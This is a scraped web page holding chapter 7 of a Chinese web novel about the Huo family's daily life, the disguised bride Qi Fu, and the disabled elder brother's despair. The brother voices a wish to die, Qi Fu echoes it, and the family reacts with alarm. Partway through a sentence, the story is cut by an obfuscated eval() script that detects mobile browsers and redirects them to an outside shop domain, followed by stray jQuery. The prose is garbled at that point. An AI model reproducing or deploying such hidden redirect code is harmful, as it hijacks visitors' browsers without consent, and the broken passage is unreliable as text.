文趣网 > 其他小说 > 穿越种田养男妻 > 7. 第 7 章
    屋子里,祁福呆呆地坐在凳子上,见霍洵进门,连忙站起来。

    霍洵将霍苓的布巾给他:“霍苓送你的,是新的。金疮药没找着,等大嫂回来我问问她。”

    祁福头一回收到旁人送的东西,举着那块白色的布巾手足无措。

    霍洵的目光扫过竹床,似乎想到了什么:“待会儿让霍苓来帮你擦药吧,背上你自己够不着。”

    他说完就要去收拾被褥,谁知祁福反应剧烈:“不用,我自己可以!”

    祁福眉毛皱成一团,眼神乱飘,看起来既心虚又焦急。霍洵心里那股不对劲的感觉又出现了,总觉得他还有秘密瞒着自己。

    但转念一想,小姑娘有自尊心,伤口不愿意让别人看到也正常。

    “行,那你自己来。”

    霍洵没再多问,祁福偷偷拿眼睛瞧了瞧他,最后装作不经意抱起木盆,贴着墙边出去了。

    霍洵失笑,又想起祁福用的那个木盆是自己的。

    他摇头叹息,祁家的陪嫁真寒碜,连个洗脸盆都没有,洗脸帕还是旧的。

    祁双毕竟是个姑娘家,与他又不是真夫妻,还是得另给她买个木盆才是。

    *

    洗完衣裳,霍洵几人又将剥好的毛竹笋切成长条,放入锅里煮,准备做笋干。

    中午郭秀英回来,一看他们在晒笋干,还有小半篓毛竹笋和好些水竹笋没剥放在那儿,赶忙过来帮忙。

    霍洵没让她粘手:“大嫂你歇歇,要晒的竹笋没多少,剩下的是我明日要拿去镇上卖的。”

    郭秀英这才知道他明日要去卖竹笋。

    “这时节卖笋子的人太多了,你带这么多过去,只怕卖不完。”

    “没事,卖不完就带回来做笋干留着自己吃,总归不会浪费。”

    郭秀英点点头:“那也是。”

    霍洵想到祁福身上的伤,又问郭秀英拿药。

    郭秀英面色一紧:“谁受伤了?”

    祁福不肯让霍苓帮她擦药,霍洵猜想他不愿让人知道她被自家弟弟欺负的事儿,便没同郭秀英细说。

    只道:“祁双受了点伤,不要紧,但这几天不能干重活。”

    霍洵怀疑他衣服上的血痕是背竹笋时压到渗出的血。

    郭秀英看着霍洵,表情迟疑:“不是你干的吧?”

    “……”霍洵十分无奈,“大嫂,我是那种人吗?”

    郭秀英也觉得自家小叔子不是那种人,但还是亲自确认过才放心。

    不是霍洵伤的,霍洵又不肯细说,她心里已有猜想,郭秀英叹了口气,没再追问:“那行,我去给你拿药。”

    *

    今日朝食吃得早,又忙活了大半日,午后霍洵饿得前胸贴后背。

    下午他把霍泽背出来晒太阳,又在院子里劈了会儿柴,去灶房里喝水,一进门就瞧见霍秋眼巴巴地对着家里的竹碗柜咽口水。

    霍洵失笑:“碗柜里有什么好吃的?”

    “是昨日剩下的喜饼。”霍秋摸了摸肚子,用气声道,“娘不许我吃,说要留着招待客人。”

    霍洵伸手打开碗柜,里头果然有个油纸包。

    他看了霍秋一眼,打开油纸包,从里头拿出一块喜饼递给她:“吃吧。”

    霍秋有些犹豫,霍洵把喜饼放到她手里:“别怕,你娘问起,就说是二叔给你的。”

    霍秋眼眸发光,欢喜地点头:“谢谢二叔。”

    她举着那块喜饼,一跳一跳地往外头走,刚出门就和郭秀英撞了个正着。

    “你拿了灶房的喜饼?”郭秀英皱着眉,“娘同你说过,这是留着招待客人的,你昨日已经吃过了。”

    霍洵连忙出去解释:“大嫂,是我给小秋拿的。今日早饭吃得早,这会儿她有些饿了。”

    郭秀英摆摆手:“二弟你别惯着她,弟妹和苓儿已经在准备晚饭了,怎么还要吃零嘴?”

    “晚饭还有一会儿。小秋才九岁,正是长身子的时候,咱们饿一下没事,她吃不饱会影响发育。”霍洵摸了摸霍秋的脑袋,“让她吃吧,咱家就这么一个孩子,不能为了招待客人让小秋饿肚子。”

    在霍洵看来,霍秋已经够懂事了。不用大人说就知道要去帮她爹按腿,郭秀英一回来,她就跑去倒水,搬椅子,小小年纪什么活儿都会干,既聪明又孝顺。

    只怪眼下霍家负担太重,让她吃块饼都瞻前顾后。

    霍秋垂着脑袋,表情有些委屈。

    坐在院子里的霍泽看见这一幕,心里一抽,一股又酸又涩的滋味翻涌而出。

    目光扫过又黑又瘦,与从前判若两人的郭秀英,他心里愈发堵得厉害。

    霍泽深吸一口气,猛地侧开脸。在旁人看不到的角落,他被这股难以名状的情绪逼得双眼通红。

    郭秀英看到女儿的表情,也有些心疼:“吃吧,娘方才不该说你,该先问清楚的。”

    霍秋十分好哄,眼睛还红着却从霍洵身后探出脑袋,对着郭秀英挤出个笑:“那我原谅你了。”

    院子里面含担忧看着她们的霍苓松了口气,祁福面上没什么变化,洗菜的动作却快了些。

    米是提前泡好的,菜收拾好后,晚饭很快就做好了。

    霍泽不愿意在外面吃饭,霍洵将他背回屋里,又去给他送饭。

    他端着霍泽那份饭菜出来,瞧见祁福在井边提水,他叫了一声:“祁双。”

    不知是不是没听见,井边的人毫无反应,霍洵走过去:“你去给大哥送饭,我来提。”

    祁福似乎被吓了一跳,回过神后慌乱地点头,接过托盘疾冲冲去了霍泽那儿。

    *

    霍泽屋子的门开着,他躺在床上,眼神空落落的,不知在想什么。

    祁福将饭菜放到他旁边的桌子上,干巴巴地说了句“大哥,吃饭”就要走,却被霍泽叫住了。

    “弟妹。”

    祁福回过头,一脸老实地等霍泽说话。

    霍泽面色愧疚:“对不起,因为我,二弟不得不停学回家。”

    祁福拽着衣角,不知该如何回应,最后只得点点头,表示理解。

    霍泽又道:“你本是县城里娇养长大的姑娘,到了我们家,却要帮着割草放牛挖野菜,嫁来头一日,就受了伤。”

    祁福面色懵懂,眼神澄净。霍泽的目光落在他身上,却又像透过他看到了谁,语气怅惘:“小秋曾经也同你一般,是家里疼惜着长大的,如今却连一块喜饼都吃不上

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521533|203333||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,你大嫂原先——”

    霍泽说到这里,眼眶蓦地一红,他低下头,苦笑一声:“都是因为我,我就是个累赘,活着只会拖累家人,不如死了……”

    祁福面露赞同,轻声附和:“我也是,在哪里都是累赘,我也可以死了。”

    沉浸在自己情绪之中的霍泽缓缓抬头,他定睛一看,祁福面色认真,说的不像玩笑话。

    霍泽大惊失色,若不是腿动不了怕是要从床上跳起来:“弟妹休要胡说,你好手好脚的怎么如此不珍惜生命?”

    祁福歪了歪脑袋,很是不解。

    这人真是,他家人那般珍重他他都想死,却不准自己这个没人要的讨嫌鬼去死。

    他从来不是家里的宝贝,他是家里的累赘,他才是该死的那一个。

    “弟、弟妹,你可不能想不开……”霍泽磕磕绊绊地劝了一句,越想越慌,“秀英!不对!霍洵,霍洵——!!”

    *

    霍洵和郭秀英匆匆赶来,一进门就瞧见霍泽呼吸急促,神色慌乱地坐在床上,祁福面色无辜地站在一旁。

    “怎么了?”郭秀英被他那破音的嗓子吓了一跳,见他一副欲言又止的模样,急道,“有啥事你快说啊,要急死我们吗?”

    霍泽的嘴张了又合,最后小心翼翼地瞧了祁福一眼,对着郭秀英道:“你带弟妹去吃饭吧,我和二弟说。”

    霍洵面上一怔,隐隐约约意识到什么:“大嫂你们先去吃饭,我等会儿就来。”

    他给郭秀英使了个眼神,郭秀英满脸茫然地拉着祁福走了。

    “大哥,可是祁双与你说了什么?”

    霍洵话落,霍泽一副痛心疾首的表情:“弟妹怕是要做傻事!!”

    霍洵皱了皱眉:“方才还好端端的,怎么突然想不开?”

    霍泽那点儿自怨自艾的情绪早被祁福吓得烟消云散了,深怕自家弟弟新娶的媳妇出事儿,他一时也顾不上丢脸了,如实将自己和祁福的对话复述了一遍,又道出自己的猜测。

    “只怕祁家逼着她嫁与你,伤了她的心,让她觉得她爹娘不在意她了,心里钻了死胡同。”

    霍洵知道不是这么回事儿。

    他想起祁福身上的伤,又想起他说送祁福回家时,祁福脸上的抗拒。

    祁旺打人不是一回两回,打成那样,祁家夫妻不可能没有察觉,祁福确实被祁家伤了心,但不是因为他两的亲事。

    祁福虽然说了些糊涂话,但没有求死的迹象。倒是霍泽,心里压力太大了,这样下去早晚会出问题。

    从霍泽屋里出来,霍洵一直在思索,到底要怎么改变霍泽的心态,至少让他觉得自己不是个事事依赖旁人的废人。

    临山县的大夫都为霍泽诊治过,要立刻让他的病好起来确实不现实。安慰的话原身和郭秀英没少说,但对霍泽而言,都只是隔靴搔痒,没有实际用处。

    走到灶房门口,看见屋里的几把椅子,霍洵心里一动,忽然有了主意。

    ——他可以给霍泽做个轮椅。

    轮椅能极大程度地减少身体不便带来的窘迫,有了轮椅,霍泽能自己行动,还能适当帮家里人做点小事。

    如此一来,也能减轻他的心理压力。